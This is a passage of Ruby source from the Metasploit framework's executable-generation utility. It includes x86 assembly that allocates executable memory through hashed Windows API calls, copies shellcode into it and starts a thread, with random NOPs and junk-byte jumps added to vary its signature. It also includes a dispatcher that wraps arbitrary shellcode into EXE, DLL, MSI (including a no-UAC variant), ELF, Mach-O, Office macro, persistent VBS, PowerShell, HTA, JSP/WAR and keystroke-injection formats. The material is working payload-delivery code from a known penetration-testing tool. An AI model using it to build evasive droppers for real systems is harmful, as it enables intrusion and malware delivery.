; hash( "kernel32.dll", "VirtualAlloc" )1980call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );19811982mov ebx, eax ; Store allocated address in ebx1983mov edi, eax ; Prepare EDI with the new address1984mov ecx, esi ; Prepare ECX with the length of the code1985call get_payload1986got_payload:1987pop esi ; Prepare ESI with the source to copy1988rep movsb ; Copy the payload to RWX memory1989call set_handler ; Configure error handling19901991exitblock:1992#{stub_exit}19931994set_handler:1995xor eax,eax1996; push dword [fs:eax]1997; mov dword [fs:eax], esp1998push eax ; LPDWORD lpThreadId (NULL)1999push eax ; DWORD dwCreationFlags (0)2000push eax ; LPVOID lpParameter (NULL)2001push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload)2002push eax ; SIZE_T dwStackSize (0 for default)2003push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)2004push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )2005call ebp ; Spawn payload thread20062007pop eax ; Skip2008; pop eax ; Skip2009pop eax ; Skip2010popad ; Get our registers back2011; sub esp, 44 ; Move stack pointer back past the handler2012^20132014stub_final = %Q^2015get_payload:2016call got_payload2017payload:2018; Append an arbitrary payload here2019^202020212022stub_alloc.gsub!('short', '')2023stub_alloc.gsub!('byte', '')20242025wrapper = ""2026# regs = %W{eax ebx ecx edx esi edi ebp}20272028cnt_jmp = 02029cnt_nop = 6420302031stub_alloc.each_line do |line|2032line.gsub!(/;.*/, '')2033line.strip!2034next if line.empty?20352036if cnt_nop > 0 && rand(4) == 02037wrapper << "nop\n"2038cnt_nop -= 12039end20402041if cnt_nop > 0 && rand(16) == 02042cnt_nop -= 22043cnt_jmp += 120442045wrapper << "jmp autojump#{cnt_jmp}\n"20461.upto(rand(8)+1) do2047wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"2048cnt_nop -= 12049end2050wrapper << "autojump#{cnt_jmp}:\n"2051end2052wrapper << line + "\n"2053end20542055# @TODO: someone who knows how to use metasm please explain the right way to do this.2056wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n"2057wrapper << stub_final20582059enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded2060soff = enc.data.index("\xe9\xff\xff\xff\xff") + 12061res = enc.data + code20622063if which_offset == 'start'2064res[soff,4] = [block_offset - (soff + 4)].pack('V')2065elsif which_offset == 'end'2066res[soff,4] = [res.length - (soff + 4) + block_offset].pack('V')2067else2068raise RuntimeError, 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!'2069end2070res2071end207220732074#2075# Generate an executable of a given format suitable for running on the2076# architecture/platform pair.2077#2078# This routine is shared between msfvenom, rpc, and payload modules (use2079# <payload>)2080#2081# @param framework [Framework]2082# @param arch [String] Architecture for the target format; one of the ARCH_*2083# constants2084# @param plat [#index] platform2085# @param code [String] The shellcode for the resulting executable to run2086# @param fmt [String] One of the executable formats as defined in2087# {.to_executable_fmt_formats}2088# @param exeopts [Hash] Passed directly to the appropriate method for2089# generating an executable for the given +arch+/+plat+ pair.2090# @return [String] An executable appropriate for the given2091# architecture/platform pair.2092# @return [nil] If the format is unrecognized or the arch and plat don't2093# make sense together.2094def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)2095# For backwards compatibility with the way this gets called when2096# generating from Msf::Simple::Payload.generate_simple2097if arch.kind_of? Array2098output = nil2099arch.each do |a|2100output = to_executable_fmt(framework, a, plat, code, fmt, exeopts)2101break if output2102end2103return output2104end21052106# otherwise the result of this huge case statement is returned2107case fmt2108when 'asp'2109exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)2110Msf::Util::EXE.to_exe_asp(exe, exeopts)2111when 'aspx'2112Msf::Util::EXE.to_mem_aspx(framework, code, exeopts)2113when 'aspx-exe'2114exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)2115Msf::Util::EXE.to_exe_aspx(exe, exeopts)2116when 'dll'2117case arch2118when ARCH_X86,nil2119to_win32pe_dll(framework, code, exeopts)2120when ARCH_X642121to_win64pe_dll(framework, code, exeopts)2122end2123when 'exe'2124case arch2125when ARCH_X86,nil2126to_win32pe(framework, code, exeopts)2127when ARCH_X642128to_win64pe(framework, code, exeopts)2129end2130when 'exe-service'2131case arch2132when ARCH_X86,nil2133to_win32pe_service(framework, code, exeopts)2134when ARCH_X642135to_win64pe_service(framework, code, exeopts)2136end2137when 'exe-small'2138case arch2139when ARCH_X86,nil2140to_win32pe_old(framework, code, exeopts)2141when ARCH_X642142to_win64pe(framework, code, exeopts)2143end2144when 'exe-only'2145case arch2146when ARCH_X86,nil2147to_winpe_only(framework, code, exeopts)2148when ARCH_X642149to_winpe_only(framework, code, exeopts, arch)2150end2151when 'msi'2152case arch2153when ARCH_X86,nil2154exe = to_win32pe(framework, code, exeopts)2155when ARCH_X642156exe = to_win64pe(framework, code, exeopts)2157end2158exeopts[:uac] = true2159Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)2160when 'msi-nouac'2161case arch2162when ARCH_X86,nil2163exe = to_win32pe(framework, code, exeopts)2164when ARCH_X642165exe = to_win64pe(framework, code, exeopts)2166end2167Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)2168when 'elf'2169if elf? code2170return code2171end2172if !plat || plat.index(Msf::Module::Platform::Linux)2173case arch2174when ARCH_X86,nil2175to_linux_x86_elf(framework, code, exeopts)2176when ARCH_X642177to_linux_x64_elf(framework, code, exeopts)2178when ARCH_AARCH642179to_linux_aarch64_elf(framework, code, exeopts)2180when ARCH_ARMLE2181to_linux_armle_elf(framework, code, exeopts)2182when ARCH_MIPSBE2183to_linux_mipsbe_elf(framework, code, exeopts)2184when ARCH_MIPSLE2185to_linux_mipsle_elf(framework, code, exeopts)2186when ARCH_RISCV32LE2187to_linux_riscv32le_elf(framework, code, exeopts)2188when ARCH_RISCV64LE2189to_linux_riscv64le_elf(framework, code, exeopts)2190end2191elsif plat && plat.index(Msf::Module::Platform::BSD)2192case arch2193when ARCH_X86,nil2194Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts)2195when ARCH_X642196Msf::Util::EXE.to_bsd_x64_elf(framework, code, exeopts)2197end2198elsif plat && plat.index(Msf::Module::Platform::Solaris)2199case arch2200when ARCH_X86,nil2201to_solaris_x86_elf(framework, code, exeopts)2202end2203end2204when 'elf-so'2205if elf? code2206return code2207end2208if !plat || plat.index(Msf::Module::Platform::Linux)2209case arch2210when ARCH_X862211to_linux_x86_elf_dll(framework, code, exeopts)2212when ARCH_X642213to_linux_x64_elf_dll(framework, code, exeopts)2214when ARCH_ARMLE2215to_linux_armle_elf_dll(framework, code, exeopts)2216when ARCH_AARCH642217to_linux_aarch64_elf_dll(framework, code, exeopts)2218when ARCH_RISCV32LE2219to_linux_riscv32le_elf_dll(framework, code, exeopts)2220when ARCH_RISCV64LE2221to_linux_riscv64le_elf_dll(framework, code, exeopts)2222end2223end2224when 'macho', 'osx-app'2225if macho? code2226macho = code2227else2228macho = case arch2229when ARCH_X86,nil2230to_osx_x86_macho(framework, code, exeopts)2231when ARCH_X642232to_osx_x64_macho(framework, code, exeopts)2233when ARCH_ARMLE2234to_osx_arm_macho(framework, code, exeopts)2235when ARCH_PPC2236to_osx_ppc_macho(framework, code, exeopts)2237when ARCH_AARCH642238to_osx_aarch64_macho(framework, code, exeopts)2239end2240end2241fmt == 'osx-app' ? Msf::Util::EXE.to_osx_app(macho) : macho2242when 'vba'2243Msf::Util::EXE.to_vba(framework, code, exeopts)2244when 'vba-exe'2245exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)2246Msf::Util::EXE.to_exe_vba(exe)2247when 'vba-psh'2248Msf::Util::EXE.to_powershell_vba(framework, arch, code)2249when 'vbs'2250exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)2251Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false }))2252when 'loop-vbs'2253exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)2254Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true }))2255when 'jsp'2256arch ||= [ ARCH_X86 ]2257tmp_plat = plat.platforms if plat2258tmp_plat ||= Msf::Module::PlatformList.transform('win')2259exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)2260Msf::Util::EXE.to_jsp(exe)2261when 'war'2262arch ||= [ ARCH_X86 ]2263tmp_plat = plat.platforms if plat2264tmp_plat ||= Msf::Module::PlatformList.transform('win')2265exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)2266Msf::Util::EXE.to_jsp_war(exe)2267when 'psh'2268Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts)2269when 'psh-net'2270Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)2271when 'psh-reflection'2272Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts)2273when 'psh-cmd'2274Msf::Util::EXE.to_powershell_command(framework, arch, code)2275when 'hta-psh'2276Msf::Util::EXE.to_powershell_hta(framework, arch, code)2277when 'python-reflection'2278Msf::Util::EXE.to_python_reflection(framework, arch, code, exeopts)2279when 'ducky-script-psh'2280Msf::Util::EXE.to_powershell_ducky_script(framework, arch, code)2281end2282end22832284# FMT Formats2285# self.to_executable_fmt_formats2286# @return [Array] Returns an array of strings2287def self.to_executable_fmt_formats2288[2289"asp",2290"aspx",2291"aspx-exe",2292"axis2",2293"dll",2294"ducky-script-psh",2295"elf",2296"elf-so",2297"exe",2298"exe-only",2299"exe-service",2300"exe-small",2301"hta-psh",2302"jar",2303"jsp",2304"loop-vbs",2305"macho",2306"msi",2307"msi-nouac",2308"osx-app",2309"psh",2310"psh-cmd",2311"psh-net",2312"psh-reflection",2313"python-reflection",2314"vba",2315"vba-exe",2316"vba-psh",2317"vbs",2318"war"2319]2320end23212322# self.get_file_contents2323#2324# @param perms [String]2325# @param file [String]2326# @return [String]2327def self.get_file_contents(file, perms = "rb")2328contents = ''2329File.open(file, perms) {|fd| contents = fd.read(fd.stat.size)}2330contents2331end23322333# self.find_payload_tag2334#2335# @param mo [String]2336# @param err_msg [String]2337# @raise [RuntimeError] if the "PAYLOAD:" is not found2338# @return [Integer]2339def self.find_payload_tag(mo, err_msg)2340bo = mo.index('PAYLOAD:')2341unless bo2342raise RuntimeError, err_msg2343end2344bo2345end23462347def self.elf?(code)2348code[0..3] == "\x7FELF"2349end23502351def self.macho?(code)2352code[0..3] == "\xCF\xFA\xED\xFE" || code[0..3] == "\xCE\xFA\xED\xFE" || code[0..3] == "\xCA\xFE\xBA\xBE"2353end23542355end2356end2357end235823592360